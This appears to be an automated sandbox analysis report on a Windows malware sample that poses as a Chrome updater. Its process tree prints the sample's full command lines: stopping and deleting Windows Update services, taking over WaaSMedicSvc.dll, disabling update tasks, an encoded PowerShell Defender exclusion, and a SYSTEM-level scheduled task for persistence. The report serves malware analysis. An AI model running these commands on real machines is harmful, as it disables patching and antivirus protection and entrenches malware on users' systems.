3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea

Analysis

max time kernel
299s
max time network
53s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
23-08-2022 10:15

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General

Target

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
Size

1.8MB
MD5

707de025f2ab727fbb3b33f4ff8b97b3
SHA1

51a571a425a36cbbc3103d5e9991d080ccd4abc6
SHA256

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea
SHA512

256104c78b6f4a7ae7698a5dfa208526583124aec0be194b267e7ab83ed29b0fd893cd3fb829d1d11ef5abcb94192bdf2993780c5a6b8caebe6fb40d1fadf91c

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1848 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

1072 takeown.exe
1360 icacls.exe
1884 takeown.exe
1008 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

984 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

1360 icacls.exe
1884 takeown.exe
1008 icacls.exe
1072 takeown.exe

pid	process
1848	updater.exe

pid	process
1072	takeown.exe
1360	icacls.exe
1884	takeown.exe
1008	icacls.exe

pid	process
984	taskeng.exe

pid	process
1360	icacls.exe
1884	takeown.exe
1008	icacls.exe
1072	takeown.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe

description	ioc	process
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1764 sc.exe
1228 sc.exe
1428 sc.exe
1136 sc.exe
560 sc.exe
932 sc.exe
812 sc.exe
1592 sc.exe
1992 sc.exe
432 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

512 schtasks.exe

pid	process
1764	sc.exe
1228	sc.exe
1428	sc.exe
1136	sc.exe
560	sc.exe
932	sc.exe
812	sc.exe
1592	sc.exe
1992	sc.exe
432	sc.exe

pid	process
512	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

updater.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40d1fa47d9b6d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updater.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1164	reg.exe
2040	reg.exe
1356	reg.exe
1352	reg.exe
1008	reg.exe
1964	reg.exe
1944	reg.exe
1728	reg.exe
1664	reg.exe
1248	reg.exe
876	reg.exe
1976	reg.exe
1596	reg.exe
880	reg.exe
1960	reg.exe
1744	reg.exe
1560	reg.exe
1960	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exepowershell.exeupdater.exe

pid process

1984 powershell.exe
380 3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
1600 powershell.exe
1848 updater.exe

pid	process
1984	powershell.exe
380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
1600	powershell.exe
1848	updater.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exe3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exetakeown.exepowershell.exeupdater.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
Token: SeTakeOwnershipPrivilege	1884	takeown.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1848	updater.exe
Token: SeTakeOwnershipPrivilege	1072	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.execmd.execmd.execmd.exetaskeng.exeupdater.exe

description	pid	process	target process
PID 380 wrote to memory of 1984	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 380 wrote to memory of 1984	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 380 wrote to memory of 1984	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	powershell.exe
PID 380 wrote to memory of 1536	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 1536	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 1536	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 1536 wrote to memory of 932	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 932	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 932	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 812	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 812	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 812	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1592	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1592	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1592	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1764	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1764	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1764	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1228	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1228	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1228	1536	cmd.exe	sc.exe
PID 1536 wrote to memory of 1164	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1164	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1164	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 876	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 876	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 876	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 880	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 880	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 880	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1964	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1964	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1964	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1944	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1944	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1944	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1884	1536	cmd.exe	takeown.exe
PID 1536 wrote to memory of 1884	1536	cmd.exe	takeown.exe
PID 1536 wrote to memory of 1884	1536	cmd.exe	takeown.exe
PID 1536 wrote to memory of 1008	1536	cmd.exe	icacls.exe
PID 1536 wrote to memory of 1008	1536	cmd.exe	icacls.exe
PID 1536 wrote to memory of 1008	1536	cmd.exe	icacls.exe
PID 380 wrote to memory of 2032	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 2032	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 2032	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 2032 wrote to memory of 512	2032	cmd.exe	schtasks.exe
PID 2032 wrote to memory of 512	2032	cmd.exe	schtasks.exe
PID 2032 wrote to memory of 512	2032	cmd.exe	schtasks.exe
PID 380 wrote to memory of 1108	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 1108	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 380 wrote to memory of 1108	380	3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe	cmd.exe
PID 1108 wrote to memory of 560	1108	cmd.exe	schtasks.exe
PID 1108 wrote to memory of 560	1108	cmd.exe	schtasks.exe
PID 1108 wrote to memory of 560	1108	cmd.exe	schtasks.exe
PID 984 wrote to memory of 1848	984	taskeng.exe	updater.exe
PID 984 wrote to memory of 1848	984	taskeng.exe	updater.exe
PID 984 wrote to memory of 1848	984	taskeng.exe	updater.exe
PID 1848 wrote to memory of 1600	1848	updater.exe	powershell.exe
PID 1848 wrote to memory of 1600	1848	updater.exe	powershell.exe
PID 1848 wrote to memory of 1600	1848	updater.exe	powershell.exe
PID 1536 wrote to memory of 1960	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1960	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 1960	1536	cmd.exe	reg.exe
PID 1536 wrote to memory of 2040	1536	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe
"C:\Users\Admin\AppData\Local\Temp\3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdABoAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAcgB4ACMAPgA="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:932

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:812

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1592

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1764

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1228

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1164

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:876

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:880

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:1964

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:1944

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1008

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1960

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2040

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1744

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1728

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1212

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1692

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:736

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:656

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:1856

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:1372

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1828

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
2⤵
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
3⤵
- Creates scheduled task(s)
PID:512

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
2⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:560

C:\Windows\system32\taskeng.exe
taskeng.exe {A95AC557-99AE-4757-B9C9-A798EDB1D3A1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:984

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdABoAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAcgB4ACMAPgA="
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:948

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1992

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:432

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:1428

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1136

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:560

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1560

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1356

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies registry key
PID:1664

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1352

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1248

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1360

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1976

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1596

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1008

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1960

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1548

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1016

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1544

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1476

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:932

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1700

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "tvtmluklrbli"
3⤵
PID:1984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.8MB

MD5
707de025f2ab727fbb3b33f4ff8b97b3

SHA1
51a571a425a36cbbc3103d5e9991d080ccd4abc6

SHA256
3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea

SHA512
256104c78b6f4a7ae7698a5dfa208526583124aec0be194b267e7ab83ed29b0fd893cd3fb829d1d11ef5abcb94192bdf2993780c5a6b8caebe6fb40d1fadf91c

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.8MB

MD5
707de025f2ab727fbb3b33f4ff8b97b3

SHA1
51a571a425a36cbbc3103d5e9991d080ccd4abc6

SHA256
3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea

SHA512
256104c78b6f4a7ae7698a5dfa208526583124aec0be194b267e7ab83ed29b0fd893cd3fb829d1d11ef5abcb94192bdf2993780c5a6b8caebe6fb40d1fadf91c

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
1.8MB

MD5
707de025f2ab727fbb3b33f4ff8b97b3

SHA1
51a571a425a36cbbc3103d5e9991d080ccd4abc6

SHA256
3ac089bcf6392437c03aca380de9d6faee049448d3e49edcf72e5ba6024958ea

SHA512
256104c78b6f4a7ae7698a5dfa208526583124aec0be194b267e7ab83ed29b0fd893cd3fb829d1d11ef5abcb94192bdf2993780c5a6b8caebe6fb40d1fadf91c

Download Submit
memory/380-55-0x000007FEFBDD1000-0x000007FEFBDD3000-memory.dmp

Filesize
8KB

Download
memory/380-54-0x000000013F5F0000-0x000000013F7CE000-memory.dmp

Filesize
1.9MB

Download
memory/432-107-0x0000000000000000-mapping.dmp

Download
memory/512-77-0x0000000000000000-mapping.dmp

Download
memory/560-79-0x0000000000000000-mapping.dmp

Download
memory/560-110-0x0000000000000000-mapping.dmp

Download
memory/656-97-0x0000000000000000-mapping.dmp

Download
memory/736-94-0x0000000000000000-mapping.dmp

Download
memory/812-65-0x0000000000000000-mapping.dmp

Download
memory/876-70-0x0000000000000000-mapping.dmp

Download
memory/880-71-0x0000000000000000-mapping.dmp

Download
memory/932-64-0x0000000000000000-mapping.dmp

Download
memory/932-128-0x0000000000000000-mapping.dmp

Download
memory/948-105-0x0000000000000000-mapping.dmp

Download
memory/1008-121-0x0000000000000000-mapping.dmp

Download
memory/1008-75-0x0000000000000000-mapping.dmp

Download
memory/1016-125-0x0000000000000000-mapping.dmp

Download
memory/1072-117-0x0000000000000000-mapping.dmp

Download
memory/1108-78-0x0000000000000000-mapping.dmp

Download
memory/1136-109-0x0000000000000000-mapping.dmp

Download
memory/1164-69-0x0000000000000000-mapping.dmp

Download
memory/1212-92-0x0000000000000000-mapping.dmp

Download
memory/1228-68-0x0000000000000000-mapping.dmp

Download
memory/1248-116-0x0000000000000000-mapping.dmp

Download
memory/1352-115-0x0000000000000000-mapping.dmp

Download
